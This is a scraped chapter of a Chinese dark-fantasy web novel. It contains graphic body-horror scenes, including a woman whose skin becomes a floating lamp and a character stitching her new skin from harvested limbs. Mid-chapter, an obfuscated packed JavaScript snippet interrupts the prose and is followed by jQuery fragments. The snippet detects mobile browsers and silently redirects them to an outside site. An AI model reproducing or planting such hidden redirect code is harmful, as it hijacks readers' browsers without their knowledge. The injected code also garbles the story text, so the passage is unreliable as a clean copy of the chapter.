124. 人皮灯(六)
作品:《我燃烧的理由》 秋鸿他……是女子……吗?
初月脑子里混沌一片。
理智告诉她,这是绝对不可能的事情,秋鸿明明就是个男人,还和她有过肌肤之亲,怎么会是个女人呢?
可是,这梦世界不容捷越的铁律明晃晃的告诉她,只有女子,死后才是干干净净一片气雾环绕升腾上天。
秋鸿他?她?还有什么秘密?
初月已分不清眼前模糊一片的视线,到底是泪痕还是气雾,五彩的斑斓在她眼前闪耀,将这本就扑朔的谜底绕得糊涂一片。
“秋鸿……”
初月悲痛过度、体力不支,一个趔趄朝前扑到去。
手心却压到了两件硬物。
初月心中陡然松了一口气:“哈,我就说嘛,哪有那么多男不男、女不女的鬼神存在,秋鸿只是肉尸腐了,可这骸骨还是在的……不然我摸到的这是……”
她抹了眼睛,挥开萦绕不散的气雾,扑身向地,朝着秋鸿腐肉曾在的地方、她手压着的硬物看去。
初月以为自己能看到秋鸿未腐完的骸骨,初月期望看到秋鸿未腐完的骸骨……
可她手心握住的,却是她在地底世界遗失的蛇鞭与白玉手镯……
秋鸿不知从哪收了它们来,如今人走升天,这两件物件却给初月留了下来。
他到死都想着为她周全。
初月一大哭……
青石墙砖内的火苗并未泯灭,可它们的点点火光却暗了下去。
有什么更庞大的火光,从另一边映了过来。
地砖上,那影影绰绰的两个人影只剩下了一条……
倏忽间,仅存的那条也渐渐矮了下去。
火光陡然壮大,人影蓦地收缩,直至团成一个小圆点,钻进初月的脚下。
初月便是那个“更庞大的火光”……
泪水如雨一般冲刷着胸口的剑伤。
剜心之痛席卷了她所有的感官,穿肩至胸的伤口久久不见愈合。
因着这悲痛欲绝的泪水与愤慨怨恨的怒火不停交织洗刷,她原本化伤口为火痕的能力在顷刻间竟完全消失不见。
只留下一个永不间断向外喷涌的“泉眼”,不知止境地耗干她的生命之源。
“嘟嘟——”
一辆车由远及近,车灯打在这个绝望的女人身上。
将她中空的身体映照在她身后的墙壁上。
青石墙上,初月的影子人立起来,背朝石墙,面对强光。
身上单薄的风衣早已被流出来的血岩浆烧了个干净,她又回到了那个不着寸缕的样子。
突然,影子胸口那个空洞逐渐变大,有一双手并立着,从那空洞里穿了出来……
那双手转为手背相贴,十指反抓住空洞的边缘,“刺啦”一声如裂帛,撕开了影子的胸膛。
如同恶魔诞生一般,一个浑身火红、淌着血岩浆的人形怪物,从初月胸前的伤口里破膛而出……
巴士在远处急刹停下,回撤了几步,终究不敢轻易掉头而去。
那个浑身火红的怪物呆立着,用它那双不存在的双眼回望它的来路。
身后,初月原本站立的位置,此刻只剩下了一张人皮,内里裹着一层薄薄的、未被撕干净的血肉,通体空灵,透过人皮微微泛着红光,它的胸口伤口处,还在往外渗着点点血滴。
它空洞地立在原地,像一个没有系绳的人形气球。
而那怪物,则是从它身体里剥离出来的、无皮的血肉。
那怪物也察觉到了自己的格格不入。
它抬手,轻轻碰了碰它的皮肤。
手中那根无形的绳索断开,人形气球双脚离地,飘飘然往天空荡去。
秋鸿的情绪气雾,就在不远的高空为它引路。
人形气球越升越高、越飘越远,终于,撞上了天空低处那层透明的苍穹。
“砰”……
霎时间,无数缤纷的点点星光从它体内撒出来,整个大地方圆几里都下起了一场情绪气雾的濛濛细雨。
“天哪!那是什么?”高楼上,有人听见撞击声,推开了窗户看热闹。
“那是个人吗?被放风筝了?里面还点了灯!”种种猜测纷至沓来。
“那亮亮的东西是什么?走,下去看看!”
“哎!别莽撞,万一那是什么毒气呢?咱们家才刚安稳下来……”
“躲起来,别被那个沾上了,那星粉一样的东西,一看就是另一个阴谋!”
“我到要尝尝咸淡,反正烂命一条!”
“……”
“……”
人群向这个方向聚集。
有人眼尖,瞥到了人灯下面,围墙旁边,站着的那个裹着血岩浆的怪物。
于是一群人拔腿就跑。
有人不信邪,信奉富贵险中求,所以试探着走到“濛濛细雨”的边缘,伸出手接住了它。
“这是……”
那人尖叫一声,随即捂住嘴,哑着嗓子也止不住兴奋的声音,他环顾一周,和同样走到“雨”下的人们对视一眼,一纸无声的契约就在这几人之中订立起来。
这天上撒钱的事情,还真让他们遇着了!
这哪里下的是雨啊!这明明是梦世界人们你争我夺、靠它吃饭生存的情绪值啊!
那具人形气球,从它的火痕往外漏的,不是别的,而是初月皮肤内侧未剥离干净的血肉,是人人求之不得的、梦主的血岩浆!
几人拔腿就往“雨”最密集的地方跑,边跑边往嘴里狂塞,生怕慢了吃亏了。
渐渐地,初月剥脱的外皮在穹顶上停住了,它整个身体横起来,胸口朝下,薄薄的皮肤透亮,身上原本火痕的位置流出点点光芒,像是一个挂在穹顶的红月亮,又像一盏永不熄灭的人皮灯。
它体内在燃烧。
血岩浆是它源源不断的燃料。
人皮灯一日不灭,情绪值一日不停地如雨般淅淅沥沥。
梦世界的人们便可多一日无需为争夺情绪值费心。
这里还会是平和的一天。
这是梦主洒向她子民的盛宴。
追着秋鸿气雾的人皮“初月”挂在了天上。
留在地上的□□“初月”轰然倒下。
青石墙里的火苗“嗖”的一下子猛然窜起,穿破石砖迸到了天上,只一瞬间,足足有一人高的火苗蓦地缩小,钻进石砖里不见了踪影。
地上数千道微弱的影子消失不见,青石墙恢复往常的模样。
冰冷、实心、不透明,而又完好无损。
像石砖里的火苗从未出现过一样。
地上通体燃烧的人形岩浆惊呼:“王瑾没死!”
初月闭上了眼。
世界混乱一片。
最开始发现人皮灯会掉落情绪值的那几人,在经历了两天的疯狂进食之后,终于还是被别人发现了这个秘密。
于是,平和被打破
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884821|176095||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,乌泱泱的人一群接一群涌了过来,挤在这个方圆几里的地方,昂着头、张着嘴,你推我桑,都想自己站在人皮灯的正下方,一张嘴就能接到最密集的情绪值。
抢夺也因此开始了。
总有人想拿第一,总有人挤进来,也总有人挤出去。
弱者等在外围,渴望来一阵风,把血岩浆吹进自己嘴里。
强者独占最中间,双腿横扫给自己腾出独享的余裕。
后来,强者干脆仰卧在地上,只张着嘴享受。
他身下的石砖上,一个人形的深坑陷地三寸,深坑内外,青石由黑转青,那是不同程度的灼烧痕迹。
而此时367号梦世界边境围墙高处的玻璃宫内,这样的人形深坑,还有七十多个。
玻璃宫内,每一块砖墙都被人从中击碎,原本陈列在里面的断肢残骸东倒西歪,有的还不见了踪影。
地板上的透明砖,被熔得深一坑前一坑,大大小小、交错排列,全是人形的灼烧坑。
而在这深坑之中,堆积着成群的残肢残骸。
无一例外,它们白肉裹着红血、红血染着断骨,而残肢上面的皮肤,全都消失不见。
此时,四方砖高大的背影蹲在窗前,身躯将他面前的东西遮得七七八八,只剩下两条人腿,直挺挺地卧着,血岩浆裹在上面,流淌不息。
两腿下的玻璃砖,也正在迅速消融。
另一个人形深坑正在产生中。
四方砖埋首于前,一脚踩着一只断腿残肢,一手上下翻飞,不知在忙碌些什么。
只见他脖颈处渗出豆大的汗珠,滴滴滚落在面前半是鬼半是人的身体上。
“嘶——”
汗珠落入血岩浆中,冒出“嘶嘶”蒸汽,躺在地上那“人”也因这凉意睁开了眼睛。
“四方砖?”初月的声音响起。
“别乱动。”
四方砖按下她抬起的左手,白玉红砖屑镯子顺着她的小臂滑至肘间。
初月的视线在那白玉镯子上停留了很久。
四方砖猜不透她在想什么,是在想送她镯子的人,还是在想帮她找回镯子的人?
他顾不得这些,他还有正事要忙。
他抬脚松开脚底踩着的那块断腿残肢,但没有放它自由,下一秒,那断腿便落到了他的手里。
他膝盖压住断腿,一手揪皮,一手捡起矮凳上的弯刀,架在初月身上由火岩浆仔细消毒后,尖刀刺入断腿的皮与肉之间,接着“撕拉”一声,皮肉剥离。
光秃秃的白肉腿被弃之如敝履,四方砖只捡着那块好皮,仔仔细细地撑开、捋平,然后,他撑着这块皮,左看右看,左摆弄右,对比后,终于将其严丝合缝地拼在了初月的前胸上。
接着便是穿针引线,四方砖捻起细针,笨拙地穿入那块新皮与初月身上的“老”皮之间。
绣花针速度不快,针脚却很是细密,似乎生怕少了一针,初月会再次陷入人皮全失的境地——尽管初月如今皮肉一分为二与针脚细密毫无关系。
“疼吗?”
四方砖忙碌下针之余,忍不住关怀初月的感受。
他视线旁移,落在初月缝缝补补后的脸上,那里拼接着张三的手背皮、李四的大腿皮、王五的眼睛、赵六的薄唇……
此时的初月,像一个被撕碎后东拼西凑起来的破布娃娃。
四方砖要给她缝一身皮肤,用他这么多年收集的、恶人的断肢残骸。

